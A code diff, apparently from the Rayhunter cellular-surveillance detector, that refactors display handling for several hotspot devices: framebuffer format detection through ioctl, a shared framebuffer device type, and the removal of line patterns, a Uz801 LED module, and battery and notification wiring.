use crate::display::DisplayState; use crate::display::DisplayState;
use rayhunter::analysis::analyzer::EventType;
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
@@ -15,19 +18,24 @@ use tokio_util::task::TaskTracker;
use include_dir::{Dir, include_dir}; use include_dir::{Dir, include_dir};
const REFRESH_RATE: u64 = 1000; //how often in milliseconds to refresh the display
#[derive(Copy, Clone)] #[derive(Copy, Clone)]
pub struct Dimensions { pub struct Dimensions {
pub height: u32, pub height: u32,
pub width: u32, pub width: u32,
} }
#[derive(Copy, Clone)] #[derive(Copy, Clone, Debug)]
pub enum LinePattern { pub enum FbFormat {
Solid, ARGB888,
Dashed, // _ _ _ _ ABGR888,
Dotted, // . . . . RGB888,
BGR888,
RGB666,
RGB565,
BGR565,
RGB555,
BGR555,
RGB444,
} }
#[allow(dead_code)] #[allow(dead_code)]
@@ -41,7 +49,6 @@ pub enum Color {
Cyan, Cyan,
Yellow, Yellow,
Pink, Pink,
Orange,
} }
impl Color { impl Color {
@@ -55,33 +62,23 @@ impl Color {
Color::Cyan => (0, 0xff, 0xff), Color::Cyan => (0, 0xff, 0xff),
Color::Yellow => (0xff, 0xff, 0), Color::Yellow => (0xff, 0xff, 0),
Color::Pink => (0xfe, 0x24, 0xff), Color::Pink => (0xfe, 0x24, 0xff),
Color::Orange => (0xff, 0xa5, 0),
} }
} }
} }
fn display_style_from_state(state: DisplayState, colorblind_mode: bool) -> (Color, LinePattern) { impl Color {
match state { fn from_state(state: DisplayState, colorblind_mode: bool) -> Self {
DisplayState::Paused => (Color::White, LinePattern::Solid), match state {
DisplayState::Recording => { DisplayState::Paused => Color::White,
if colorblind_mode { DisplayState::Recording => {
(Color::Blue, LinePattern::Solid)
} else {
(Color::Green, LinePattern::Solid)
}
}
DisplayState::WarningDetected { event_type } => match event_type {
EventType::Informational => {
if colorblind_mode { if colorblind_mode {
(Color::Blue, LinePattern::Solid) Color::Blue
} else { } else {
(Color::Green, LinePattern::Solid) Color::Green
} }
} }
EventType::Low => (Color::Yellow, LinePattern::Dotted), DisplayState::WarningDetected => Color::Red,
EventType::Medium => (Color::Orange, LinePattern::Dashed), }
EventType::High => (Color::Red, LinePattern::Solid),
},
} }
} }
@@ -141,34 +138,120 @@ pub trait GenericFramebuffer: Send + 'static {
} }
async fn draw_line(&mut self, color: Color, height: u32) { async fn draw_line(&mut self, color: Color, height: u32) {
self.draw_patterned_line(color, height, LinePattern::Solid)
.await
}
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
let width = self.dimensions().width; let width = self.dimensions().width;
let px_num = height * width;
let mut buffer = Vec::new(); let mut buffer = Vec::new();
for _ in 0..px_num {
for _row in 0..height { buffer.push(color.rgb());
for col in 0..width {
let should_draw = match pattern {
LinePattern::Solid => true,
LinePattern::Dashed => (col / 4) % 2 == 0, // 4 pixels on, 4 pixels off
LinePattern::Dotted => col % 4 == 0, // 1 pixel on, 3 pixels off
};
if should_draw {
buffer.push(color.rgb());
} else {
buffer.push((0, 0, 0)); // Black background
}
}
} }
self.write_buffer(buffer).await self.write_buffer(buffer).await
} }
} }
/// Attempt to determine the FB dimensions from FB vinfo.
pub fn read_fb_dimentions(fb: BorrowedFd<'_>) -> std::io::Result<Dimensions> {
let vinfo = get_var_screeninfo(fb)?;
Ok(Dimensions {
height: vinfo.yres,
width: vinfo.xres,
})
}
/// Attempt to determine the FBs format
///
/// Returns `Ok(None)` if the format cannot be determined
pub fn read_fb_format(fb: BorrowedFd<'_>) -> std::io::Result<Option<FbFormat>> {
let vinfo = get_var_screeninfo(fb)?;
Ok(determine_format(vinfo))
}
pub fn buffer_to_fb_format(
buffer: &Vec<(u8, u8, u8)>,
format: &FbFormat,
big_endian: bool,
) -> Vec<u8> {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
match format {
FbFormat::RGB565 => {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
if big_endian {
raw_buffer.extend(rgb565.to_be_bytes());
} else {
raw_buffer.extend(rgb565.to_le_bytes());
}
}
other => panic!("This display uses a format we haven't implemneted yet {other:?}"),
}
}
raw_buffer
}
pub type CallBack = Box<dyn FnMut(&mut FbInner, &[(u8, u8, u8)]) + Send + 'static>;
pub struct FramebufferDevice {
data: FbInner,
pre_write_fn: Option<CallBack>,
post_write_fn: Option<CallBack>,
}
pub struct FbInner {
pub fd: File,
pub dims: Dimensions,
pub format: FbFormat,
}
impl FramebufferDevice {
pub fn new(
path: &str,
pre_write_fn: Option<CallBack>,
post_write_fn: Option<CallBack>,
) -> Self {
// This is done as a blocking call to prevent all of the UI init code from having to
// be made async, making it more verbose. This is a single syscall that would have been
// done via spawn_blocking anyway, and it's done once on startup.
let fb = std::fs::File::create(path).expect("Failed to open /dev/fb0");
let dims = read_fb_dimentions(fb.as_fd()).expect("Failed to read FB dimensions");
let format = read_fb_format(fb.as_fd())
.expect("Failed to read FB format")
.expect("FB retruned unexpected format");
Self {
data: FbInner {
fd: File::from_std(fb),
dims,
format,
},
pre_write_fn,
post_write_fn,
}
}
}
#[async_trait]
impl GenericFramebuffer for FramebufferDevice {
fn dimensions(&self) -> Dimensions {
self.data.dims
}
async fn write_buffer(
&mut self,
buffer: Vec<(u8, u8, u8)>, // rgb, row-wise, left-to-right, top-to-bottom
) {
if let Some(func) = self.pre_write_fn.as_mut() {
func(&mut self.data, &buffer);
}
let raw_buffer = buffer_to_fb_format(&buffer, &self.data.format, false);
self.data.fd.write_all(&raw_buffer).await.unwrap();
self.data.fd.rewind().await.unwrap();
if let Some(func) = self.post_write_fn.as_mut() {
func(&mut self.data, &buffer);
}
}
}
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
@@ -183,7 +266,7 @@ pub fn update_ui(
} }
let colorblind_mode = config.colorblind_mode; let colorblind_mode = config.colorblind_mode;
let mut display_style = display_style_from_state(DisplayState::Recording, colorblind_mode); let mut display_color = Color::from_state(DisplayState::Recording, colorblind_mode);
task_tracker.spawn(async move { task_tracker.spawn(async move {
// this feels wrong, is there a more rusty way to do this? // this feels wrong, is there a more rusty way to do this?
@@ -214,7 +297,7 @@ pub fn update_ui(
} }
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
Ok(state) => { Ok(state) => {
display_style = display_style_from_state(state, colorblind_mode); display_color = Color::from_state(state, colorblind_mode);
} }
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {} Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
Err(e) => error!("error receiving framebuffer update message: {e}"), Err(e) => error!("error receiving framebuffer update message: {e}"),
@@ -234,9 +317,189 @@ pub fn update_ui(
// unknown value is used // unknown value is used
_ => {} _ => {}
}; };
let (color, pattern) = display_style; fb.draw_line(display_color, 2).await;
fb.draw_patterned_line(color, 2, pattern).await; tokio::time::sleep(Duration::from_millis(1000)).await;
tokio::time::sleep(Duration::from_millis(REFRESH_RATE)).await;
} }
}); });
} }
mod fb_utils {
use std::io::{Error, Result};
use std::os::fd::{AsRawFd, BorrowedFd};
use libc::ioctl;
use super::FbFormat;
const FBIOGET_VSCREENINFO: libc::c_ulong = 0x4600;
// const FBIOGET_FSCREENINFO: libc::c_ulong = 0x4602;
/// Bitfield which is a part of VarScreeninfo.
#[repr(C)]
#[derive(Clone, Debug, Default, PartialEq, Eq)]
pub struct Bitfield {
pub offset: u32,
pub length: u32,
pub msb_right: u32,
}
/// Struct as defined in /usr/include/linux/fb.h
#[repr(C)]
#[derive(Clone, Debug, Default)]
pub struct VarScreeninfo {
pub xres: u32,
pub yres: u32,
pub xres_virtual: u32,
pub yres_virtual: u32,
pub xoffset: u32,
pub yoffset: u32,
pub bits_per_pixel: u32,
pub grayscale: u32,
pub red: Bitfield,
pub green: Bitfield,
pub blue: Bitfield,
pub transp: Bitfield,
pub nonstd: u32,
pub activate: u32,
pub height: u32,
pub width: u32,
pub accel_flags: u32,
pub pixclock: u32,
pub left_margin: u32,
pub right_margin: u32,
pub upper_margin: u32,
pub lower_margin: u32,
pub hsync_len: u32,
pub vsync_len: u32,
pub sync: u32,
pub vmode: u32,
pub rotate: u32,
pub colorspace: u32,
pub reserved: [u32; 4],
}
// /// Struct as defined in /usr/include/linux/fb.h
// /// Note: type is a keyword in Rust and therefore has been changed to fb_type.
// #[repr(C)]
// #[derive(Clone, Debug, Default)]
// pub struct FixScreeninfo {
// pub id: [u8; 16],
// pub smem_start: usize,
// pub smem_len: u32,
// pub fb_type: u32,
// pub type_aux: u32,
// pub visual: u32,
// pub xpanstep: u16,
// pub ypanstep: u16,
// pub ywrapstep: u16,
// pub line_length: u32,
// pub mmio_start: usize,
// pub mmio_len: u32,
// pub accel: u32,
// pub capabilities: u16,
// pub reserved: [u16; 2],
// }
// pub fn get_fix_screeninfo(fb: BorrowedFd<'_>) -> Result<FixScreeninfo> {
// let mut info: FixScreeninfo = Default::default();
// let result = unsafe { ioctl(fb.as_raw_fd(), FBIOGET_FSCREENINFO as _, &mut info) };
// match result {
// -1 => Err(Error::last_os_error()),
// _ => Ok(info),
// }
// }
pub fn get_var_screeninfo(fb: BorrowedFd<'_>) -> Result<VarScreeninfo> {
let mut info: VarScreeninfo = Default::default();
let result = unsafe { ioctl(fb.as_raw_fd(), FBIOGET_VSCREENINFO as _, &mut info) };
match result {
-1 => Err(Error::last_os_error()),
_ => Ok(info),
}
}
#[derive(Clone, Debug, Default, PartialEq, Eq)]
struct RgbaBitfield {
red: Bitfield,
green: Bitfield,
blue: Bitfield,
transp: Bitfield,
}
impl From<&VarScreeninfo> for RgbaBitfield {
fn from(value: &VarScreeninfo) -> Self {
Self {
red: value.red.clone(),
green: value.green.clone(),
blue: value.blue.clone(),
transp: value.transp.clone(),
}
}
}
type BitfieldShort = (u32, u32);
type FbInfoShort = (BitfieldShort, BitfieldShort, BitfieldShort, BitfieldShort);
const fn tuple_to_bitfield(v: BitfieldShort) -> Bitfield {
let (offset, length) = v;
// None of formats we support have msb_right set.
Bitfield {
offset,
length,
msb_right: 0,
}
}
/// Takes a tuple of 4 tuples `(r, g, b, a)`. Each color tuple is a tuple of `(offset, length)`.
const fn rgba_bitfield(v: FbInfoShort) -> RgbaBitfield {
let (r, g, b, a) = v;
RgbaBitfield {
red: tuple_to_bitfield(r),
green: tuple_to_bitfield(g),
blue: tuple_to_bitfield(b),
transp: tuple_to_bitfield(a),
}
}
// Logic borrowed from QT https://github.com/qt/qtbase/blob/498ae026e98ed181d1480fe5f6f2f1453a725e78/src/plugins/platforms/linuxfb/qlinuxfbscreen.cpp
const ARGB888: RgbaBitfield = rgba_bitfield(((16, 8), (8, 8), (0, 8), (24, 8)));
const ABGR888: RgbaBitfield = rgba_bitfield(((0, 8), (8, 8), (16, 8), (24, 8)));
const RGB888: RgbaBitfield = rgba_bitfield(((16, 8), (8, 8), (0, 8), (0, 0)));
const BGR888: RgbaBitfield = rgba_bitfield(((0, 8), (8, 8), (16, 8), (0, 0)));
const RGB666: RgbaBitfield = rgba_bitfield(((12, 6), (6, 6), (0, 6), (0, 0)));
const RGB565: RgbaBitfield = rgba_bitfield(((11, 5), (5, 6), (0, 5), (0, 0)));
const BGR565: RgbaBitfield = rgba_bitfield(((0, 5), (5, 6), (11, 5), (0, 0)));
const RGB555: RgbaBitfield = rgba_bitfield(((10, 5), (5, 5), (0, 5), (0, 0)));
const BGR555: RgbaBitfield = rgba_bitfield(((0, 5), (5, 5), (10, 5), (0, 0)));
const RGB444: RgbaBitfield = rgba_bitfield(((8, 4), (4, 4), (0, 4), (0, 0)));
fn determine_depth(vinfo: &VarScreeninfo) -> u32 {
let depth = vinfo.red.length + vinfo.green.length + vinfo.blue.length;
match vinfo.bits_per_pixel {
24 if depth == 0 => 24,
16 if depth == 0 => 16,
24 | 16 => depth,
v => v,
}
}
pub fn determine_format(vinfo: VarScreeninfo) -> Option<FbFormat> {
let rgba = RgbaBitfield::from(&vinfo);
let depth = determine_depth(&vinfo);
match (depth, rgba) {
(32, ARGB888) => Some(FbFormat::ARGB888),
(32, ABGR888) => Some(FbFormat::ABGR888),
(24, RGB888) => Some(FbFormat::RGB888),
(24, BGR888) => Some(FbFormat::BGR888),
(18, RGB666) => Some(FbFormat::RGB666),
(16, RGB565) => Some(FbFormat::RGB565),
(16, BGR565) => Some(FbFormat::BGR565),
(15, RGB555) => Some(FbFormat::RGB555),
(15, BGR555) => Some(FbFormat::BGR555),
(12, RGB444) => Some(FbFormat::RGB444),
_ => None,
}
}
}
+2 -12
View File
@@ -1,6 +1,3 @@
use rayhunter::analysis::analyzer::EventType;
use serde::{Deserialize, Serialize};
mod generic_framebuffer; mod generic_framebuffer;
pub mod headless; pub mod headless;
@@ -9,18 +6,11 @@ pub mod tmobile;
pub mod tplink; pub mod tplink;
pub mod tplink_framebuffer; pub mod tplink_framebuffer;
pub mod tplink_onebit; pub mod tplink_onebit;
pub mod uz801;
pub mod wingtech; pub mod wingtech;
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)] #[derive(Clone, Copy, PartialEq)]
pub enum DisplayState { pub enum DisplayState {
/// We're recording but no warning has been found yet.
Recording, Recording,
/// We're not recording.
Paused, Paused,
/// A non-informational event has been detected. WarningDetected,
///
/// Note that EventType::Informational is never sent through this. If it is, it's the same as
/// Recording
WarningDetected { event_type: EventType },
} }
+4 -29
View File
@@ -1,40 +1,15 @@
use crate::config; use crate::config;
use crate::display::DisplayState; use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer}; use crate::display::generic_framebuffer;
use async_trait::async_trait;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio::sync::oneshot;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use super::generic_framebuffer::FramebufferDevice;
const FB_PATH: &str = "/dev/fb0"; const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
#[async_trait]
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
// TODO actually poll for this, maybe w/ fbset?
Dimensions {
height: 128,
width: 128,
}
}
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
tokio::fs::write(FB_PATH, &raw_buffer).await.unwrap();
}
}
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
@@ -44,7 +19,7 @@ pub fn update_ui(
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, FramebufferDevice::new(FB_PATH, None, None),
ui_shutdown_rx, ui_shutdown_rx,
ui_update_rx, ui_update_rx,
) )
+2 -2
View File
@@ -1,7 +1,7 @@
/// Display module for Tmobile TMOHS1, blink LEDs on the front of the device. /// Display module for Tmobile TMOHS1, blink LEDs on the front of the device.
/// DisplayState::Recording => Signal LED slowly blinks blue. /// DisplayState::Recording => Signal LED slowly blinks blue.
/// DisplayState::Paused => WiFi LED blinks white. /// DisplayState::Paused => WiFi LED blinks white.
/// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red. /// DisplayState::WarningDetected => Signal LED slowly blinks red.
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc; use tokio::sync::mpsc;
use tokio::sync::oneshot; use tokio::sync::oneshot;
@@ -68,7 +68,7 @@ pub fn update_ui(
stop_blinking(led!("signal_red")).await; stop_blinking(led!("signal_red")).await;
start_blinking(led!("signal_blue")).await; start_blinking(led!("signal_blue")).await;
} }
DisplayState::WarningDetected { .. } => { DisplayState::WarningDetected => {
stop_blinking(led!("wlan_white")).await; stop_blinking(led!("wlan_white")).await;
stop_blinking(led!("signal_blue")).await; stop_blinking(led!("signal_blue")).await;
start_blinking(led!("signal_red")).await; start_blinking(led!("signal_red")).await;
+24 -53
View File
@@ -1,19 +1,16 @@
use async_trait::async_trait;
use std::os::fd::AsRawFd; use std::os::fd::AsRawFd;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use crate::config; use crate::config;
use crate::display::DisplayState; use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer}; use crate::display::generic_framebuffer;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio::sync::oneshot;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0"; use super::generic_framebuffer::{FbInner, FramebufferDevice};
struct Framebuffer; const FB_PATH: &str = "/dev/fb0";
#[repr(C)] #[repr(C)]
struct fb_fillrect { struct fb_fillrect {
@@ -25,54 +22,28 @@ struct fb_fillrect {
rop: u32, rop: u32,
} }
#[async_trait] fn update_display(fb: &mut FbInner, buffer: &[(u8, u8, u8)]) {
impl GenericFramebuffer for Framebuffer { let width = fb.dims.width;
fn dimensions(&self) -> Dimensions { let height = buffer.len() as u32 / width;
// TODO actually poll for this, maybe w/ fbset? let mut arg = fb_fillrect {
Dimensions { dx: 0,
height: 128, dy: 0,
width: 128, width,
} height,
} color: 0xffff, // not sure what this is
rop: 0,
};
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) { unsafe {
// for how to write to the buffer, consult M7350v5_en_gpl/bootable/recovery/recovery_color_oled.c let res = libc::ioctl(
let dimensions = self.dimensions(); fb.fd.as_raw_fd(),
let width = dimensions.width; 0x4619, // FBIORECT_DISPLAY
let height = buffer.len() as u32 / width; &mut arg as *mut _,
let mut f = OpenOptions::new().write(true).open(FB_PATH).await.unwrap(); std::mem::size_of::<fb_fillrect>(),
let mut arg = fb_fillrect { );
dx: 0,
dy: 0,
width,
height,
color: 0xffff, // not sure what this is
rop: 0,
};
let mut raw_buffer = Vec::new(); if res < 0 {
for (r, g, b) in buffer { panic!("failed to send FBIORECT_DISPLAY ioctl, {res}");
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
// note: big-endian!
raw_buffer.extend(rgb565.to_be_bytes());
}
f.write_all(&raw_buffer).await.unwrap();
// ioctl is a synchronous operation, but it's fast enough that it shouldn't block
unsafe {
let res = libc::ioctl(
f.as_raw_fd(),
0x4619, // FBIORECT_DISPLAY
&mut arg as *mut _,
std::mem::size_of::<fb_fillrect>(),
);
if res < 0 {
panic!("failed to send FBIORECT_DISPLAY ioctl, {res}");
}
} }
} }
} }
@@ -86,7 +57,7 @@ pub fn update_ui(
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, FramebufferDevice::new(FB_PATH, None, Some(Box::new(update_display))),
ui_shutdown_rx, ui_shutdown_rx,
ui_update_rx, ui_update_rx,
) )
+5 -5
View File
@@ -136,7 +136,7 @@ pub fn update_ui(
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
Ok(DisplayState::Paused) => pixels = STATUS_PAUSED, Ok(DisplayState::Paused) => pixels = STATUS_PAUSED,
Ok(DisplayState::Recording) => pixels = STATUS_SMILING, Ok(DisplayState::Recording) => pixels = STATUS_SMILING,
Ok(DisplayState::WarningDetected { .. }) => pixels = STATUS_WARNING, Ok(DisplayState::WarningDetected) => pixels = STATUS_WARNING,
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {} Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
Err(e) => { Err(e) => {
error!("error receiving framebuffer update message: {e}"); error!("error receiving framebuffer update message: {e}");
@@ -145,10 +145,10 @@ pub fn update_ui(
// we write the status every second because it may have been overwritten through menu // we write the status every second because it may have been overwritten through menu
// navigation. // navigation.
if display_level != 0 if display_level != 0 {
&& let Err(e) = tokio::fs::write(OLED_PATH, pixels).await if let Err(e) = tokio::fs::write(OLED_PATH, pixels).await {
{ error!("failed to write to display: {e}");
error!("failed to write to display: {e}"); }
} }
tokio::time::sleep(Duration::from_millis(1000)).await; tokio::time::sleep(Duration::from_millis(1000)).await;
-89
View File
@@ -1,89 +0,0 @@
/// Display module for Uz801, light LEDs on the front of the device.
/// DisplayState::Recording => Green LED is solid.
/// DisplayState::Paused => Signal LED is solid blue (wifi LED).
/// DisplayState::WarningDetected => Signal LED is solid red.
use log::{error, info};
use tokio::sync::mpsc;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
use std::time::Duration;
use crate::config;
use crate::display::DisplayState;
macro_rules! led {
($l:expr) => {{ format!("/sys/class/leds/{}/brightness", $l) }};
}
async fn led_on(path: String) {
tokio::fs::write(&path, "1").await.ok();
}
async fn led_off(path: String) {
tokio::fs::write(&path, "0").await.ok();
}
pub fn update_ui(
task_tracker: &TaskTracker,
config: &config::Config,
mut ui_shutdown_rx: oneshot::Receiver<()>,
mut ui_update_rx: mpsc::Receiver<DisplayState>,
) {
let mut invisible: bool = false;
if config.ui_level == 0 {
info!("Invisible mode, not spawning UI.");
invisible = true;
}
task_tracker.spawn(async move {
let mut state = DisplayState::Recording;
let mut last_state = DisplayState::Paused;
let mut last_update = std::time::Instant::now();
loop {
match ui_shutdown_rx.try_recv() {
Ok(_) => {
info!("received UI shutdown");
break;
}
Err(oneshot::error::TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
}
match ui_update_rx.try_recv() {
Ok(new_state) => state = new_state,
Err(mpsc::error::TryRecvError::Empty) => {}
Err(e) => error!("error receiving ui update message: {e}"),
};
// Update LEDs if state changed or if 5 seconds have passed since last update
let now = std::time::Instant::now();
let should_update = !invisible
&& (state != last_state
|| now.duration_since(last_update) >= Duration::from_secs(5));
if should_update {
match state {
DisplayState::Paused => {
led_off(led!("red")).await;
led_off(led!("green")).await;
led_on(led!("wifi")).await;
}
DisplayState::Recording => {
led_off(led!("red")).await;
led_off(led!("wifi")).await;
led_on(led!("green")).await;
}
DisplayState::WarningDetected { .. } => {
led_off(led!("green")).await;
led_off(led!("wifi")).await;
led_on(led!("red")).await;
}
}
last_state = state;
last_update = now;
}
tokio::time::sleep(Duration::from_secs(1)).await;
}
});
}
+6 -30
View File
@@ -1,45 +1,21 @@
use crate::config;
use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
/// Display support for the Wingtech CT2MHS01 hotspot. /// Display support for the Wingtech CT2MHS01 hotspot.
/// ///
/// Tested on (from `/etc/wt_version`): /// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP /// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55 /// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20 /// WT_HARDWARE_VERSION=89323_1_20
use async_trait::async_trait; use crate::config;
use crate::display::DisplayState;
use crate::display::generic_framebuffer;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio::sync::oneshot;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use super::generic_framebuffer::FramebufferDevice;
const FB_PATH: &str = "/dev/fb0"; const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
#[async_trait]
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
Dimensions {
height: 128,
width: 160,
}
}
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
tokio::fs::write(FB_PATH, &raw_buffer).await.unwrap();
}
}
pub fn update_ui( pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
@@ -49,7 +25,7 @@ pub fn update_ui(
generic_framebuffer::update_ui( generic_framebuffer::update_ui(
task_tracker, task_tracker,
config, config,
Framebuffer, FramebufferDevice::new(FB_PATH, None, None),
ui_shutdown_rx, ui_shutdown_rx,
ui_update_rx, ui_update_rx,
) )
-6
View File
@@ -15,10 +15,4 @@ pub enum RayhunterError {
QmdlStoreError(#[from] RecordingStoreError), QmdlStoreError(#[from] RecordingStoreError),
#[error("No QMDL store found at path {0}, but can't create a new one due to debug mode")] #[error("No QMDL store found at path {0}, but can't create a new one due to debug mode")]
NoStoreDebugMode(String), NoStoreDebugMode(String),
#[error("Error parsing file to determine battery level")]
BatteryLevelParseError,
#[error("Error parsing file to determine whether device is plugged in")]
BatteryPluggedInStatusParseError,
#[error("The requested functionality is not supported for this device")]
FunctionNotSupportedForDeviceError,
} }
+5 -5
View File
@@ -61,11 +61,11 @@ pub fn run_key_input_thread(
// On orbic it was observed that pressing the power button can trigger many successive // On orbic it was observed that pressing the power button can trigger many successive
// events. Drop events that are too close together. // events. Drop events that are too close together.
if let Some(last_time) = last_event_time if let Some(last_time) = last_event_time {
&& now.duration_since(last_time) < Duration::from_millis(50) if now.duration_since(last_time) < Duration::from_millis(50) {
{ last_event_time = Some(now);
last_event_time = Some(now); continue;
continue; }
} }
last_event_time = Some(now); last_event_time = Some(now);
+2 -21
View File
@@ -1,11 +1,9 @@
mod analysis; mod analysis;
mod battery;
mod config; mod config;
mod diag; mod diag;
mod display; mod display;
mod error; mod error;
mod key_input; mod key_input;
mod notifications;
mod pcap; mod pcap;
mod qmdl_store; mod qmdl_store;
mod server; mod server;
@@ -18,12 +16,9 @@ use std::sync::atomic::{AtomicBool, Ordering};
use crate::config::{parse_args, parse_config}; use crate::config::{parse_args, parse_config};
use crate::diag::run_diag_read_thread; use crate::diag::run_diag_read_thread;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use crate::notifications::{NotificationService, run_notification_worker};
use crate::pcap::get_pcap; use crate::pcap::get_pcap;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::server::{ use crate::server::{ServerState, get_config, get_qmdl, get_zip, serve_static, set_config};
ServerState, debug_set_display_state, get_config, get_qmdl, get_zip, serve_static, set_config,
};
use crate::stats::{get_qmdl_manifest, get_system_stats}; use crate::stats::{get_qmdl_manifest, get_system_stats};
use analysis::{ use analysis::{
@@ -40,7 +35,6 @@ use log::{error, info};
use qmdl_store::RecordingStoreError; use qmdl_store::RecordingStoreError;
use rayhunter::Device; use rayhunter::Device;
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use stats::get_log;
use tokio::net::TcpListener; use tokio::net::TcpListener;
use tokio::select; use tokio::select;
use tokio::sync::mpsc::{self, Sender}; use tokio::sync::mpsc::{self, Sender};
@@ -57,7 +51,6 @@ fn get_router() -> AppRouter {
.route("/api/zip/{name}", get(get_zip)) .route("/api/zip/{name}", get(get_zip))
.route("/api/system-stats", get(get_system_stats)) .route("/api/system-stats", get(get_system_stats))
.route("/api/qmdl-manifest", get(get_qmdl_manifest)) .route("/api/qmdl-manifest", get(get_qmdl_manifest))
.route("/api/log", get(get_log))
.route("/api/start-recording", post(start_recording)) .route("/api/start-recording", post(start_recording))
.route("/api/stop-recording", post(stop_recording)) .route("/api/stop-recording", post(stop_recording))
.route("/api/delete-recording/{name}", post(delete_recording)) .route("/api/delete-recording/{name}", post(delete_recording))
@@ -67,7 +60,6 @@ fn get_router() -> AppRouter {
.route("/api/analysis/{name}", post(start_analysis)) .route("/api/analysis/{name}", post(start_analysis))
.route("/api/config", get(get_config)) .route("/api/config", get(get_config))
.route("/api/config", post(set_config)) .route("/api/config", post(set_config))
.route("/api/debug/display-state", post(debug_set_display_state))
.route("/", get(|| async { Redirect::permanent("/index.html") })) .route("/", get(|| async { Redirect::permanent("/index.html") }))
.route("/{*path}", get(serve_static)) .route("/{*path}", get(serve_static))
} }
@@ -194,10 +186,6 @@ fn run_shutdown_thread(
async fn main() -> Result<(), RayhunterError> { async fn main() -> Result<(), RayhunterError> {
env_logger::init(); env_logger::init();
rustls_rustcrypto::provider()
.install_default()
.expect("Couldn't install rustcrypto provider");
let args = parse_args(); let args = parse_args();
loop { loop {
@@ -225,9 +213,6 @@ async fn run_with_config(
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5); let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let mut maybe_ui_shutdown_tx = None; let mut maybe_ui_shutdown_tx = None;
let mut maybe_key_input_shutdown_tx = None; let mut maybe_key_input_shutdown_tx = None;
let notification_service = NotificationService::new(config.ntfy_url.clone());
if !config.debug_mode { if !config.debug_mode {
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel(); let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
maybe_ui_shutdown_tx = Some(ui_shutdown_tx); maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
@@ -244,12 +229,10 @@ async fn run_with_config(
&task_tracker, &task_tracker,
dev, dev,
diag_rx, diag_rx,
diag_tx.clone(),
ui_update_tx.clone(), ui_update_tx.clone(),
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
config.analyzers.clone(), config.analyzers.clone(),
notification_service.new_handler(),
); );
